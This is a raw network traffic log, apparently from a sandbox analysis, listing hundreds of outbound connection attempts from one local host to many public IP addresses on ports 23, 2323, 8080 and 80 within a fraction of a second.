Mar 4, 2024 15:05:32.160142899 CET	50393	23	192.168.2.13	44.166.154.79
Mar 4, 2024 15:05:32.160142899 CET	47577	8080	192.168.2.13	62.230.206.65
Mar 4, 2024 15:05:32.160142899 CET	47577	8080	192.168.2.13	95.233.220.110
Mar 4, 2024 15:05:32.160144091 CET	47577	8080	192.168.2.13	85.104.145.111
Mar 4, 2024 15:05:32.160144091 CET	50393	23	192.168.2.13	174.49.254.170
Mar 4, 2024 15:05:32.160144091 CET	50393	2323	192.168.2.13	74.74.184.29
Mar 4, 2024 15:05:32.160160065 CET	50393	23	192.168.2.13	27.24.253.90
Mar 4, 2024 15:05:32.160160065 CET	50393	23	192.168.2.13	114.111.185.81
Mar 4, 2024 15:05:32.160160065 CET	50393	23	192.168.2.13	206.231.144.61
Mar 4, 2024 15:05:32.160165071 CET	47577	8080	192.168.2.13	62.172.154.45
Mar 4, 2024 15:05:32.160165071 CET	50393	23	192.168.2.13	41.26.36.136
Mar 4, 2024 15:05:32.160165071 CET	47577	8080	192.168.2.13	85.225.43.60
Mar 4, 2024 15:05:32.160166025 CET	50393	23	192.168.2.13	73.39.32.234
Mar 4, 2024 15:05:32.160166025 CET	47577	8080	192.168.2.13	85.202.243.15
Mar 4, 2024 15:05:32.160166025 CET	50393	23	192.168.2.13	134.10.246.11
Mar 4, 2024 15:05:32.160166025 CET	50393	23	192.168.2.13	78.6.223.228
Mar 4, 2024 15:05:32.160166025 CET	47577	8080	192.168.2.13	62.130.145.162
Mar 4, 2024 15:05:32.160197973 CET	47577	8080	192.168.2.13	94.190.44.202
Mar 4, 2024 15:05:32.160197973 CET	48089	80	192.168.2.13	112.115.84.128
Mar 4, 2024 15:05:32.160197973 CET	47577	8080	192.168.2.13	95.125.214.150
Mar 4, 2024 15:05:32.160197973 CET	48089	80	192.168.2.13	112.223.232.142
Mar 4, 2024 15:05:32.160197973 CET	47577	8080	192.168.2.13	62.225.143.28
Mar 4, 2024 15:05:32.160197973 CET	47577	8080	192.168.2.13	85.187.109.28
Mar 4, 2024 15:05:32.160198927 CET	47577	8080	192.168.2.13	95.2.213.82
Mar 4, 2024 15:05:32.160198927 CET	47577	8080	192.168.2.13	94.177.193.215
Mar 4, 2024 15:05:32.160212994 CET	47577	8080	192.168.2.13	62.24.79.58
Mar 4, 2024 15:05:32.160212994 CET	47577	8080	192.168.2.13	62.86.90.209
Mar 4, 2024 15:05:32.160219908 CET	47577	8080	192.168.2.13	94.173.140.34
Mar 4, 2024 15:05:32.160228014 CET	50393	23	192.168.2.13	44.91.170.46
Mar 4, 2024 15:05:32.160228014 CET	47577	8080	192.168.2.13	62.222.147.234
Mar 4, 2024 15:05:32.160228014 CET	47577	8080	192.168.2.13	31.74.161.109
Mar 4, 2024 15:05:32.160248995 CET	47577	8080	192.168.2.13	94.174.130.38
Mar 4, 2024 15:05:32.160248995 CET	47577	8080	192.168.2.13	31.95.61.231
Mar 4, 2024 15:05:32.160249949 CET	50393	23	192.168.2.13	121.125.199.214
Mar 4, 2024 15:05:32.160249949 CET	47577	8080	192.168.2.13	94.14.14.82
Mar 4, 2024 15:05:32.160249949 CET	47577	8080	192.168.2.13	85.83.30.53
Mar 4, 2024 15:05:32.160254002 CET	47577	8080	192.168.2.13	62.139.53.144
Mar 4, 2024 15:05:32.160249949 CET	47577	8080	192.168.2.13	94.252.6.116
Mar 4, 2024 15:05:32.160254002 CET	47577	8080	192.168.2.13	62.81.125.96
Mar 4, 2024 15:05:32.160249949 CET	50393	2323	192.168.2.13	208.62.7.160
Mar 4, 2024 15:05:32.160254002 CET	47577	8080	192.168.2.13	95.104.178.242
Mar 4, 2024 15:05:32.160249949 CET	50393	23	192.168.2.13	223.52.161.72
Mar 4, 2024 15:05:32.160254002 CET	47577	8080	192.168.2.13	94.84.90.186
Mar 4, 2024 15:05:32.160254955 CET	48089	80	192.168.2.13	112.248.171.225
Mar 4, 2024 15:05:32.160254955 CET	47577	8080	192.168.2.13	62.178.240.94
Mar 4, 2024 15:05:32.160254955 CET	47577	8080	192.168.2.13	95.16.123.57
Mar 4, 2024 15:05:32.160285950 CET	47577	8080	192.168.2.13	94.20.43.188
Mar 4, 2024 15:05:32.160285950 CET	50393	23	192.168.2.13	144.2.135.70
Mar 4, 2024 15:05:32.160285950 CET	50393	23	192.168.2.13	210.33.199.239
Mar 4, 2024 15:05:32.160285950 CET	50393	23	192.168.2.13	108.128.214.203
Mar 4, 2024 15:05:32.160285950 CET	47577	8080	192.168.2.13	94.69.99.45
Mar 4, 2024 15:05:32.160285950 CET	50393	23	192.168.2.13	64.4.215.124
Mar 4, 2024 15:05:32.160288095 CET	47577	8080	192.168.2.13	94.25.164.189
Mar 4, 2024 15:05:32.160285950 CET	47577	8080	192.168.2.13	95.189.14.178
Mar 4, 2024 15:05:32.160285950 CET	50393	23	192.168.2.13	4.2.38.69
Mar 4, 2024 15:05:32.160285950 CET	50393	2323	192.168.2.13	45.161.85.150
Mar 4, 2024 15:05:32.160285950 CET	50393	23	192.168.2.13	49.136.152.238
Mar 4, 2024 15:05:32.160286903 CET	50393	23	192.168.2.13	183.131.128.98
Mar 4, 2024 15:05:32.160285950 CET	47577	8080	192.168.2.13	85.221.86.18
Mar 4, 2024 15:05:32.160291910 CET	47577	8080	192.168.2.13	85.49.150.25
Mar 4, 2024 15:05:32.160286903 CET	47577	8080	192.168.2.13	85.199.151.25
Mar 4, 2024 15:05:32.160288095 CET	50393	23	192.168.2.13	117.81.11.146
Mar 4, 2024 15:05:32.160291910 CET	47577	8080	192.168.2.13	85.147.129.145
Mar 4, 2024 15:05:32.160286903 CET	47577	8080	192.168.2.13	85.255.255.184
Mar 4, 2024 15:05:32.160286903 CET	47577	8080	192.168.2.13	62.191.147.41
Mar 4, 2024 15:05:32.160291910 CET	50393	23	192.168.2.13	25.158.104.115
Mar 4, 2024 15:05:32.160286903 CET	47577	8080	192.168.2.13	94.13.115.215
Mar 4, 2024 15:05:32.160288095 CET	50393	23	192.168.2.13	118.237.25.179
Mar 4, 2024 15:05:32.160293102 CET	47577	8080	192.168.2.13	94.234.0.232
Mar 4, 2024 15:05:32.160288095 CET	47577	8080	192.168.2.13	95.52.20.71
Mar 4, 2024 15:05:32.160293102 CET	50393	23	192.168.2.13	67.14.14.212
Mar 4, 2024 15:05:32.160288095 CET	47577	8080	192.168.2.13	95.244.130.12
Mar 4, 2024 15:05:32.160293102 CET	47577	8080	192.168.2.13	94.26.48.234
Mar 4, 2024 15:05:32.160288095 CET	50393	23	192.168.2.13	14.52.39.24
Mar 4, 2024 15:05:32.160293102 CET	47577	8080	192.168.2.13	85.241.48.160
Mar 4, 2024 15:05:32.160289049 CET	47577	8080	192.168.2.13	85.5.62.148
Mar 4, 2024 15:05:32.160307884 CET	47577	8080	192.168.2.13	31.156.222.61
Mar 4, 2024 15:05:32.160289049 CET	47577	8080	192.168.2.13	94.138.85.138
Mar 4, 2024 15:05:32.160293102 CET	50393	23	192.168.2.13	162.159.203.9
Mar 4, 2024 15:05:32.160312891 CET	47577	8080	192.168.2.13	62.157.148.234
Mar 4, 2024 15:05:32.160307884 CET	50393	23	192.168.2.13	59.172.215.112
Mar 4, 2024 15:05:32.160312891 CET	48089	80	192.168.2.13	112.96.109.71
Mar 4, 2024 15:05:32.160312891 CET	48089	80	192.168.2.13	112.1.197.142
Mar 4, 2024 15:05:32.160307884 CET	50393	23	192.168.2.13	51.131.36.170
Mar 4, 2024 15:05:32.160312891 CET	47577	8080	192.168.2.13	85.114.100.178
Mar 4, 2024 15:05:32.160307884 CET	47577	8080	192.168.2.13	95.22.211.249
Mar 4, 2024 15:05:32.160312891 CET	47577	8080	192.168.2.13	31.17.74.58
Mar 4, 2024 15:05:32.160307884 CET	47577	8080	192.168.2.13	62.169.194.192
Mar 4, 2024 15:05:32.160312891 CET	47577	8080	192.168.2.13	62.109.140.146
Mar 4, 2024 15:05:32.160307884 CET	47577	8080	192.168.2.13	85.24.87.94
Mar 4, 2024 15:05:32.160312891 CET	47577	8080	192.168.2.13	62.73.254.150
Mar 4, 2024 15:05:32.160307884 CET	50393	23	192.168.2.13	168.26.240.165
Mar 4, 2024 15:05:32.160312891 CET	50393	2323	192.168.2.13	139.191.42.63
Mar 4, 2024 15:05:32.160307884 CET	50393	23	192.168.2.13	107.120.221.237
Mar 4, 2024 15:05:32.160346985 CET	50393	23	192.168.2.13	219.253.47.125
Mar 4, 2024 15:05:32.160346985 CET	47577	8080	192.168.2.13	94.3.156.233
Mar 4, 2024 15:05:32.160346985 CET	47577	8080	192.168.2.13	94.6.204.57
Mar 4, 2024 15:05:32.160346985 CET	50393	2323	192.168.2.13	90.76.82.91
Mar 4, 2024 15:05:32.160346985 CET	50393	23	192.168.2.13	98.187.147.157
Mar 4, 2024 15:05:32.160387039 CET	50393	23	192.168.2.13	84.172.95.65
Mar 4, 2024 15:05:32.160387039 CET	47577	8080	192.168.2.13	95.99.99.80
Mar 4, 2024 15:05:32.160387039 CET	50393	23	192.168.2.13	58.227.93.132
Mar 4, 2024 15:05:32.160388947 CET	47577	8080	192.168.2.13	95.181.213.244
Mar 4, 2024 15:05:32.160387039 CET	50393	23	192.168.2.13	73.218.27.24
Mar 4, 2024 15:05:32.160388947 CET	50393	2323	192.168.2.13	99.101.193.187
Mar 4, 2024 15:05:32.160387039 CET	50393	23	192.168.2.13	20.26.17.108
Mar 4, 2024 15:05:32.160388947 CET	47577	8080	192.168.2.13	62.232.244.59
Mar 4, 2024 15:05:32.160387039 CET	47577	8080	192.168.2.13	95.235.143.151
Mar 4, 2024 15:05:32.160388947 CET	50393	2323	192.168.2.13	162.171.108.14
Mar 4, 2024 15:05:32.160387039 CET	47577	8080	192.168.2.13	94.80.132.4
Mar 4, 2024 15:05:32.160388947 CET	47577	8080	192.168.2.13	62.23.213.175
Mar 4, 2024 15:05:32.160387039 CET	47577	8080	192.168.2.13	62.181.92.124
Mar 4, 2024 15:05:32.160388947 CET	47577	8080	192.168.2.13	95.207.222.83
Mar 4, 2024 15:05:32.160388947 CET	47577	8080	192.168.2.13	62.18.59.16
Mar 4, 2024 15:05:32.160388947 CET	47577	8080	192.168.2.13	95.47.250.184
Mar 4, 2024 15:05:32.160403013 CET	47577	8080	192.168.2.13	85.101.14.11
Mar 4, 2024 15:05:32.160403013 CET	47577	8080	192.168.2.13	62.112.111.249
Mar 4, 2024 15:05:32.160403013 CET	47577	8080	192.168.2.13	31.82.127.151
Mar 4, 2024 15:05:32.160403013 CET	50393	2323	192.168.2.13	77.210.169.31
Mar 4, 2024 15:05:32.160403013 CET	50393	23	192.168.2.13	196.224.232.110
Mar 4, 2024 15:05:32.160403013 CET	47577	8080	192.168.2.13	85.153.18.97
Mar 4, 2024 15:05:32.160403013 CET	50393	23	192.168.2.13	196.181.103.13
Mar 4, 2024 15:05:32.160403013 CET	50393	23	192.168.2.13	48.170.64.160
Mar 4, 2024 15:05:32.160422087 CET	50393	23	192.168.2.13	141.151.175.163
Mar 4, 2024 15:05:32.160422087 CET	47577	8080	192.168.2.13	95.157.83.125
Mar 4, 2024 15:05:32.160422087 CET	47577	8080	192.168.2.13	95.249.176.233
Mar 4, 2024 15:05:32.160422087 CET	50393	23	192.168.2.13	122.57.4.7
Mar 4, 2024 15:05:32.160422087 CET	50393	23	192.168.2.13	133.28.66.242
Mar 4, 2024 15:05:32.160422087 CET	50393	23	192.168.2.13	109.226.171.66
Mar 4, 2024 15:05:32.160422087 CET	47577	8080	192.168.2.13	62.80.47.201
Mar 4, 2024 15:05:32.160422087 CET	50393	2323	192.168.2.13	175.197.210.156
Mar 4, 2024 15:05:32.160442114 CET	50393	23	192.168.2.13	146.7.56.240
Mar 4, 2024 15:05:32.160442114 CET	50393	2323	192.168.2.13	47.239.193.160
Mar 4, 2024 15:05:32.160442114 CET	47577	8080	192.168.2.13	85.49.254.78
Mar 4, 2024 15:05:32.160442114 CET	47577	8080	192.168.2.13	85.11.47.7
Mar 4, 2024 15:05:32.160442114 CET	50393	23	192.168.2.13	103.215.231.33
Mar 4, 2024 15:05:32.160442114 CET	47577	8080	192.168.2.13	62.231.6.52
Mar 4, 2024 15:05:32.160442114 CET	50393	23	192.168.2.13	216.184.40.181
Mar 4, 2024 15:05:32.160442114 CET	47577	8080	192.168.2.13	85.250.210.138
Mar 4, 2024 15:05:32.160451889 CET	47577	8080	192.168.2.13	85.227.135.158
Mar 4, 2024 15:05:32.160451889 CET	47577	8080	192.168.2.13	31.200.197.153
Mar 4, 2024 15:05:32.160451889 CET	50393	23	192.168.2.13	12.151.135.229
Mar 4, 2024 15:05:32.160451889 CET	50393	2323	192.168.2.13	177.150.143.222
Mar 4, 2024 15:05:32.160451889 CET	47577	8080	192.168.2.13	85.52.128.121
Mar 4, 2024 15:05:32.160451889 CET	50393	23	192.168.2.13	170.251.244.237
Mar 4, 2024 15:05:32.160451889 CET	50393	23	192.168.2.13	57.119.255.174
Mar 4, 2024 15:05:32.160453081 CET	47577	8080	192.168.2.13	95.170.156.200
Mar 4, 2024 15:05:32.160480022 CET	50393	23	192.168.2.13	185.250.230.241
Mar 4, 2024 15:05:32.160480022 CET	50393	23	192.168.2.13	161.146.42.208
Mar 4, 2024 15:05:32.160480022 CET	47577	8080	192.168.2.13	62.70.182.71
Mar 4, 2024 15:05:32.160480022 CET	47577	8080	192.168.2.13	62.28.127.198
Mar 4, 2024 15:05:32.160480022 CET	50393	23	192.168.2.13	37.28.185.221
Mar 4, 2024 15:05:32.160480022 CET	47577	8080	192.168.2.13	94.69.140.236
Mar 4, 2024 15:05:32.160480022 CET	47577	8080	192.168.2.13	62.94.191.40
Mar 4, 2024 15:05:32.160480022 CET	47577	8080	192.168.2.13	31.61.72.240
Mar 4, 2024 15:05:32.160482883 CET	50393	23	192.168.2.13	99.178.145.73
Mar 4, 2024 15:05:32.160482883 CET	50393	2323	192.168.2.13	102.152.239.115
Mar 4, 2024 15:05:32.160482883 CET	50393	23	192.168.2.13	2.82.26.91
Mar 4, 2024 15:05:32.160482883 CET	47577	8080	192.168.2.13	85.211.180.132
Mar 4, 2024 15:05:32.160482883 CET	50393	23	192.168.2.13	110.248.135.115
Mar 4, 2024 15:05:32.160482883 CET	47577	8080	192.168.2.13	95.204.250.38
Mar 4, 2024 15:05:32.160482883 CET	50393	23	192.168.2.13	115.120.117.43
Mar 4, 2024 15:05:32.160482883 CET	50393	23	192.168.2.13	110.145.219.47
Mar 4, 2024 15:05:32.160542011 CET	50393	23	192.168.2.13	2.117.104.192
Mar 4, 2024 15:05:32.160542011 CET	47577	8080	192.168.2.13	62.255.241.169
Mar 4, 2024 15:05:32.160542011 CET	50393	23	192.168.2.13	160.230.37.16
Mar 4, 2024 15:05:32.160542011 CET	50393	23	192.168.2.13	84.1.98.156
Mar 4, 2024 15:05:32.160542011 CET	47577	8080	192.168.2.13	85.112.5.19
Mar 4, 2024 15:05:32.160542011 CET	50393	23	192.168.2.13	83.102.8.192
Mar 4, 2024 15:05:32.160542011 CET	50393	23	192.168.2.13	122.242.220.77
Mar 4, 2024 15:05:32.160542011 CET	47577	8080	192.168.2.13	95.95.28.44
Mar 4, 2024 15:05:32.160547018 CET	47577	8080	192.168.2.13	31.190.83.205
Mar 4, 2024 15:05:32.160547018 CET	50393	23	192.168.2.13	24.144.71.92
Mar 4, 2024 15:05:32.160547018 CET	47577	8080	192.168.2.13	85.115.7.149
Mar 4, 2024 15:05:32.160547018 CET	47577	8080	192.168.2.13	31.218.225.137
Mar 4, 2024 15:05:32.160547018 CET	50393	23	192.168.2.13	124.179.229.39
Mar 4, 2024 15:05:32.160547018 CET	50393	23	192.168.2.13	34.83.163.93
Mar 4, 2024 15:05:32.160547018 CET	47577	8080	192.168.2.13	85.147.133.206
Mar 4, 2024 15:05:32.160547972 CET	50393	23	192.168.2.13	168.106.82.232
Mar 4, 2024 15:05:32.160581112 CET	50393	2323	192.168.2.13	139.4.187.212
Mar 4, 2024 15:05:32.160581112 CET	47577	8080	192.168.2.13	85.157.213.146
Mar 4, 2024 15:05:32.160581112 CET	50393	23	192.168.2.13	121.238.59.232
Mar 4, 2024 15:05:32.160581112 CET	47577	8080	192.168.2.13	62.3.178.84
Mar 4, 2024 15:05:32.160581112 CET	50393	23	192.168.2.13	13.200.86.218
Mar 4, 2024 15:05:32.160581112 CET	47577	8080	192.168.2.13	95.177.173.220
Mar 4, 2024 15:05:32.160581112 CET	47577	8080	192.168.2.13	85.1.241.42
Mar 4, 2024 15:05:32.160581112 CET	50393	2323	192.168.2.13	91.242.51.220
Mar 4, 2024 15:05:32.160597086 CET	47577	8080	192.168.2.13	62.106.114.195
Mar 4, 2024 15:05:32.160597086 CET	47577	8080	192.168.2.13	31.110.101.193
Mar 4, 2024 15:05:32.160597086 CET	47577	8080	192.168.2.13	85.114.10.136
Mar 4, 2024 15:05:32.160597086 CET	47577	8080	192.168.2.13	31.29.140.106
Mar 4, 2024 15:05:32.160597086 CET	47577	8080	192.168.2.13	62.32.8.103
Mar 4, 2024 15:05:32.160597086 CET	47577	8080	192.168.2.13	95.135.235.90
Mar 4, 2024 15:05:32.160597086 CET	47577	8080	192.168.2.13	95.40.26.197
Mar 4, 2024 15:05:32.160597086 CET	50393	23	192.168.2.13	65.186.130.210
Mar 4, 2024 15:05:32.160603046 CET	47577	8080	192.168.2.13	31.18.60.136
Mar 4, 2024 15:05:32.160604000 CET	47577	8080	192.168.2.13	95.22.200.245
Mar 4, 2024 15:05:32.160604000 CET	50393	23	192.168.2.13	194.183.153.124
Mar 4, 2024 15:05:32.160604000 CET	50393	23	192.168.2.13	64.165.144.97
Mar 4, 2024 15:05:32.160604000 CET	47577	8080	192.168.2.13	31.217.134.223
Mar 4, 2024 15:05:32.160604000 CET	47577	8080	192.168.2.13	94.194.135.27
Mar 4, 2024 15:05:32.160604000 CET	47577	8080	192.168.2.13	85.37.254.115
Mar 4, 2024 15:05:32.160604000 CET	47577	8080	192.168.2.13	85.76.25.174
Mar 4, 2024 15:05:32.160623074 CET	50393	23	192.168.2.13	112.149.39.5
Mar 4, 2024 15:05:32.160623074 CET	47577	8080	192.168.2.13	95.7.140.161
Mar 4, 2024 15:05:32.160623074 CET	50393	23	192.168.2.13	162.23.22.59
Mar 4, 2024 15:05:32.160623074 CET	47577	8080	192.168.2.13	62.167.40.92
Mar 4, 2024 15:05:32.160623074 CET	50393	23	192.168.2.13	195.164.67.3
Mar 4, 2024 15:05:32.160623074 CET	47577	8080	192.168.2.13	95.184.29.235
Mar 4, 2024 15:05:32.160623074 CET	47577	8080	192.168.2.13	62.118.82.227
Mar 4, 2024 15:05:32.160623074 CET	50393	23	192.168.2.13	91.229.20.9
Mar 4, 2024 15:05:32.160634995 CET	47577	8080	192.168.2.13	31.33.150.166
Mar 4, 2024 15:05:32.160634041 CET	50393	2323	192.168.2.13	5.132.120.164
Mar 4, 2024 15:05:32.160634995 CET	50393	23	192.168.2.13	118.39.123.242
Mar 4, 2024 15:05:32.160634995 CET	47577	8080	192.168.2.13	31.99.37.180
Mar 4, 2024 15:05:32.160634041 CET	50393	23	192.168.2.13	159.47.51.68
Mar 4, 2024 15:05:32.160634995 CET	47577	8080	192.168.2.13	31.10.106.5
Mar 4, 2024 15:05:32.160634041 CET	47577	8080	192.168.2.13	95.128.24.103
Mar 4, 2024 15:05:32.160635948 CET	50393	23	192.168.2.13	83.137.193.73
Mar 4, 2024 15:05:32.160634041 CET	50393	23	192.168.2.13	135.4.179.130
Mar 4, 2024 15:05:32.160635948 CET	47577	8080	192.168.2.13	85.111.174.227
Mar 4, 2024 15:05:32.160635948 CET	50393	23	192.168.2.13	85.121.138.32
Mar 4, 2024 15:05:32.160634995 CET	47577	8080	192.168.2.13	94.115.44.108
Mar 4, 2024 15:05:32.160635948 CET	47577	8080	192.168.2.13	31.104.210.241
Mar 4, 2024 15:05:32.160634995 CET	50393	23	192.168.2.13	148.253.226.186
Mar 4, 2024 15:05:32.160634995 CET	50393	23	192.168.2.13	123.41.213.142
Mar 4, 2024 15:05:32.160634995 CET	50393	2323	192.168.2.13	139.53.56.232
Mar 4, 2024 15:05:32.160682917 CET	47577	8080	192.168.2.13	31.136.39.38
Mar 4, 2024 15:05:32.160682917 CET	47577	8080	192.168.2.13	85.145.206.145
Mar 4, 2024 15:05:32.160682917 CET	47577	8080	192.168.2.13	31.81.116.249
Mar 4, 2024 15:05:32.160682917 CET	47577	8080	192.168.2.13	85.74.129.35
Mar 4, 2024 15:05:32.160682917 CET	50393	23	192.168.2.13	152.230.0.27
Mar 4, 2024 15:05:32.160682917 CET	50393	2323	192.168.2.13	177.184.137.12
Mar 4, 2024 15:05:32.160682917 CET	47577	8080	192.168.2.13	62.160.159.37
Mar 4, 2024 15:05:32.160684109 CET	47577	8080	192.168.2.13	94.29.250.135
Mar 4, 2024 15:05:32.160686970 CET	50393	23	192.168.2.13	49.162.27.74
Mar 4, 2024 15:05:32.160686970 CET	47577	8080	192.168.2.13	95.88.140.145
Mar 4, 2024 15:05:32.160686970 CET	50393	23	192.168.2.13	136.50.15.162
Mar 4, 2024 15:05:32.160686970 CET	47577	8080	192.168.2.13	95.131.225.153
Mar 4, 2024 15:05:32.160686970 CET	50393	23	192.168.2.13	67.214.17.223
Mar 4, 2024 15:05:32.160686970 CET	47577	8080	192.168.2.13	94.57.67.38
Mar 4, 2024 15:05:32.160686970 CET	50393	23	192.168.2.13	106.0.72.9
Mar 4, 2024 15:05:32.160686970 CET	47577	8080	192.168.2.13	31.82.46.76
Mar 4, 2024 15:05:32.160697937 CET	47577	8080	192.168.2.13	85.105.135.167
Mar 4, 2024 15:05:32.160697937 CET	50393	23	192.168.2.13	99.87.252.169
Mar 4, 2024 15:05:32.160697937 CET	50393	23	192.168.2.13	112.46.20.61
Mar 4, 2024 15:05:32.160697937 CET	47577	8080	192.168.2.13	85.140.255.224
Mar 4, 2024 15:05:32.160697937 CET	50393	23	192.168.2.13	151.157.184.23
Mar 4, 2024 15:05:32.160697937 CET	47577	8080	192.168.2.13	94.240.148.117
Mar 4, 2024 15:05:32.160697937 CET	50393	23	192.168.2.13	170.132.165.152
Mar 4, 2024 15:05:32.160697937 CET	50393	23	192.168.2.13	67.249.245.47
Mar 4, 2024 15:05:32.160707951 CET	50393	23	192.168.2.13	76.50.74.77
Mar 4, 2024 15:05:32.160706997 CET	47577	8080	192.168.2.13	94.146.155.5
Mar 4, 2024 15:05:32.160707951 CET	50393	23	192.168.2.13	34.243.213.245
Mar 4, 2024 15:05:32.160707951 CET	50393	23	192.168.2.13	144.7.84.151
Mar 4, 2024 15:05:32.160706997 CET	47577	8080	192.168.2.13	62.37.127.204
Mar 4, 2024 15:05:32.160707951 CET	50393	23	192.168.2.13	149.171.135.163
Mar 4, 2024 15:05:32.160707951 CET	47577	8080	192.168.2.13	62.230.176.88
Mar 4, 2024 15:05:32.160706997 CET	50393	23	192.168.2.13	60.36.215.247
Mar 4, 2024 15:05:32.160707951 CET	50393	23	192.168.2.13	74.167.182.253
Mar 4, 2024 15:05:32.160707951 CET	50393	2323	192.168.2.13	87.193.87.26
Mar 4, 2024 15:05:32.160713911 CET	47577	8080	192.168.2.13	85.2.31.225
Mar 4, 2024 15:05:32.160707951 CET	47577	8080	192.168.2.13	95.118.198.240
Mar 4, 2024 15:05:32.160707951 CET	50393	23	192.168.2.13	193.228.35.138
Mar 4, 2024 15:05:32.160715103 CET	50393	23	192.168.2.13	117.119.144.51
Mar 4, 2024 15:05:32.160707951 CET	47577	8080	192.168.2.13	95.29.205.163
Mar 4, 2024 15:05:32.160707951 CET	50393	23	192.168.2.13	170.60.167.91
Mar 4, 2024 15:05:32.160715103 CET	47577	8080	192.168.2.13	95.253.38.208
Mar 4, 2024 15:05:32.160707951 CET	50393	23	192.168.2.13	46.181.130.90
Mar 4, 2024 15:05:32.160715103 CET	50393	23	192.168.2.13	169.66.41.228
Mar 4, 2024 15:05:32.160707951 CET	47577	8080	192.168.2.13	85.132.28.75
Mar 4, 2024 15:05:32.160715103 CET	50393	23	192.168.2.13	172.96.173.222
Mar 4, 2024 15:05:32.160715103 CET	50393	23	192.168.2.13	111.52.239.225
Mar 4, 2024 15:05:32.160715103 CET	47577	8080	192.168.2.13	94.196.17.39
Mar 4, 2024 15:05:32.160715103 CET	50393	2323	192.168.2.13	27.56.176.53
Mar 4, 2024 15:05:32.160756111 CET	47577	8080	192.168.2.13	95.140.126.40
Mar 4, 2024 15:05:32.160756111 CET	50393	23	192.168.2.13	107.78.93.38
Mar 4, 2024 15:05:32.160756111 CET	50393	23	192.168.2.13	98.232.138.107
Mar 4, 2024 15:05:32.160756111 CET	47577	8080	192.168.2.13	62.242.204.179
Mar 4, 2024 15:05:32.160756111 CET	47577	8080	192.168.2.13	62.185.34.87
Mar 4, 2024 15:05:32.160756111 CET	50393	23	192.168.2.13	156.213.86.124
Mar 4, 2024 15:05:32.160756111 CET	47577	8080	192.168.2.13	95.18.37.71
Mar 4, 2024 15:05:32.160756111 CET	47577	8080	192.168.2.13	62.160.160.8
Mar 4, 2024 15:05:32.160758972 CET	47577	8080	192.168.2.13	94.72.49.115
Mar 4, 2024 15:05:32.160758972 CET	50393	23	192.168.2.13	83.245.83.89
Mar 4, 2024 15:05:32.160758972 CET	50393	23	192.168.2.13	121.77.180.100
Mar 4, 2024 15:05:32.160758972 CET	50393	23	192.168.2.13	218.171.90.51
Mar 4, 2024 15:05:32.160758972 CET	47577	8080	192.168.2.13	62.51.151.38
Mar 4, 2024 15:05:32.160758972 CET	50393	23	192.168.2.13	123.154.0.15
Mar 4, 2024 15:05:32.160758972 CET	50393	23	192.168.2.13	72.239.67.216
Mar 4, 2024 15:05:32.160758972 CET	47577	8080	192.168.2.13	95.206.246.114
Mar 4, 2024 15:05:32.160768986 CET	47577	8080	192.168.2.13	31.54.36.108
Mar 4, 2024 15:05:32.160768986 CET	47577	8080	192.168.2.13	31.141.224.67
Mar 4, 2024 15:05:32.160768986 CET	50393	23	192.168.2.13	75.187.185.176
Mar 4, 2024 15:05:32.160768986 CET	47577	8080	192.168.2.13	94.203.232.48
Mar 4, 2024 15:05:32.160768986 CET	47577	8080	192.168.2.13	31.251.174.137
Mar 4, 2024 15:05:32.160768986 CET	50393	23	192.168.2.13	49.110.236.52
Mar 4, 2024 15:05:32.160768986 CET	47577	8080	192.168.2.13	31.16.201.14
Mar 4, 2024 15:05:32.160769939 CET	50393	23	192.168.2.13	171.221.29.189
Mar 4, 2024 15:05:32.160777092 CET	47577	8080	192.168.2.13	85.186.14.92
Mar 4, 2024 15:05:32.160777092 CET	50393	23	192.168.2.13	149.163.53.139
Mar 4, 2024 15:05:32.160777092 CET	50393	23	192.168.2.13	193.124.101.36
Mar 4, 2024 15:05:32.160778046 CET	47577	8080	192.168.2.13	62.78.196.184
Mar 4, 2024 15:05:32.160778046 CET	47577	8080	192.168.2.13	85.159.113.234
Mar 4, 2024 15:05:32.160778046 CET	47577	8080	192.168.2.13	31.179.66.44
Mar 4, 2024 15:05:32.160778046 CET	50393	23	192.168.2.13	213.177.195.173
Mar 4, 2024 15:05:32.160778046 CET	47577	8080	192.168.2.13	95.114.56.222
Mar 4, 2024 15:05:32.160789967 CET	47577	8080	192.168.2.13	95.115.236.86
Mar 4, 2024 15:05:32.160789967 CET	50393	23	192.168.2.13	145.253.39.61
Mar 4, 2024 15:05:32.160790920 CET	47577	8080	192.168.2.13	85.131.53.13
Mar 4, 2024 15:05:32.160790920 CET	47577	8080	192.168.2.13	62.231.47.156
Mar 4, 2024 15:05:32.160790920 CET	47577	8080	192.168.2.13	95.135.33.235
Mar 4, 2024 15:05:32.160790920 CET	50393	23	192.168.2.13	143.9.46.95
Mar 4, 2024 15:05:32.160790920 CET	50393	23	192.168.2.13	208.28.135.47
Mar 4, 2024 15:05:32.160790920 CET	50393	23	192.168.2.13	173.194.11.39
Mar 4, 2024 15:05:32.160826921 CET	47577	8080	192.168.2.13	62.131.52.62
Mar 4, 2024 15:05:32.160826921 CET	50393	23	192.168.2.13	85.226.84.187
Mar 4, 2024 15:05:32.160826921 CET	47577	8080	192.168.2.13	94.22.72.234
Mar 4, 2024 15:05:32.160826921 CET	47577	8080	192.168.2.13	95.86.152.205
Mar 4, 2024 15:05:32.160826921 CET	47577	8080	192.168.2.13	95.224.176.196
Mar 4, 2024 15:05:32.160826921 CET	50393	23	192.168.2.13	50.146.112.21
Mar 4, 2024 15:05:32.160826921 CET	50393	23	192.168.2.13	65.18.86.40
Mar 4, 2024 15:05:32.160826921 CET	47577	8080	192.168.2.13	94.170.20.238
Mar 4, 2024 15:05:32.160845041 CET	47577	8080	192.168.2.13	31.118.205.167
Mar 4, 2024 15:05:32.160845041 CET	47577	8080	192.168.2.13	94.93.124.248
Mar 4, 2024 15:05:32.160845041 CET	47577	8080	192.168.2.13	85.41.34.137
Mar 4, 2024 15:05:32.160845041 CET	50393	23	192.168.2.13	205.185.254.39
Mar 4, 2024 15:05:32.160845041 CET	50393	2323	192.168.2.13	160.61.231.78
Mar 4, 2024 15:05:32.160845041 CET	47577	8080	192.168.2.13	31.226.190.13
Mar 4, 2024 15:05:32.160845041 CET	50393	23	192.168.2.13	120.249.107.4
Mar 4, 2024 15:05:32.160845041 CET	47577	8080	192.168.2.13	95.120.108.39
Mar 4, 2024 15:05:32.160871029 CET	50393	23	192.168.2.13	51.139.243.165
Mar 4, 2024 15:05:32.160871029 CET	47577	8080	192.168.2.13	31.92.241.92
Mar 4, 2024 15:05:32.160871029 CET	47577	8080	192.168.2.13	62.109.152.145
Mar 4, 2024 15:05:32.160871029 CET	47577	8080	192.168.2.13	95.124.165.63
Mar 4, 2024 15:05:32.160871029 CET	47577	8080	192.168.2.13	95.184.234.91
